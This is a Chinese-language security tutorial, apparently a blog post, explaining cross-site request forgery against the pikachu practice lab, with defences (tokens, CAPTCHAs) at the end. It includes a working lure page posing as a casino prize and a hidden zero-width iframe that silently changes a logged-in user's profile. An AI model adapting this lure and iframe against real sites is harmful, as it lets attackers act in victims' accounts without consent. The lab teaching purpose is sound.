网络安全-跨站请求伪造(CSRF)的原理及防御

目录

简介

原理

举例

漏洞发现

链接及请求伪造

CSRF攻击

不同浏览器

未登录状态

 登录状态

代码查看

防御

用户

供应商(程序员)


简介

跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

原理

构造链接,在自己的网站或邮箱等引诱已登录用户点击。

举例

漏洞发现

使用靶机:pikachu

CSRF(get)

使用vince 123456登录

登录后查看

点击修改个人信息

修改

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=beijing&[email protected]&submit=submit

抓包发现链接如上,存在CSRF漏洞。

链接及请求伪造

click.html

<html>
	<head>
		<title>
			澳门皇家赌场上线啦!!!
		</title>
	</head>
	<body>
		<a href="requestforgery.html">美女荷官免费送100万,点击领取!!!</a>
	</body>
</html>

requestforgery.html

<html>
	<head>
		<title>
			领奖平台!!!
		</title>
	</head>
	<body>
		<p>请邮箱查收</p>
		<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=shanghai&[email protected]&submit=submit" frameborder="0" width="0px">
	</body>
</html>

修改地址即add参数为shanghai

CSRF攻击

不同浏览器

pikachu登录是使用火狐,以下点击是使用谷歌。

恶意链接
跳转至请求伪造界面

 界面刷新后没有问题

界面刷新

未登录状态

点击退出登录

点击退出登录

使用火狐浏览器(网站同一浏览器)进行访问。

恶意链接
请求伪造

登录后查看,未改变。

未改变

 登录状态

登录后重复上述操作,攻击成功!!!

攻击成功,地址修改

代码查看

 pikachu\vul\csrf\csrfget\csrf_get_login.php

session保存

 使用session保存的,没有验证码或token。

防御

用户

通过简介就可以看出用户可以做的防御措施

  1. 不登录(用户使用网站应该会登录,登录时可以更换浏览器或选择浏览器模式)
  2. 不点击恶意链接

供应商(程序员)

  1. token
  2. 验证码

若存在xss攻击,则没有必要防御CSRF了,因为网站已经不安全,换浏览器或在浏览器层面防御也就没有意义了。

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

猜你喜欢

转载自blog.csdn.net/lady_killer9/article/details/107874328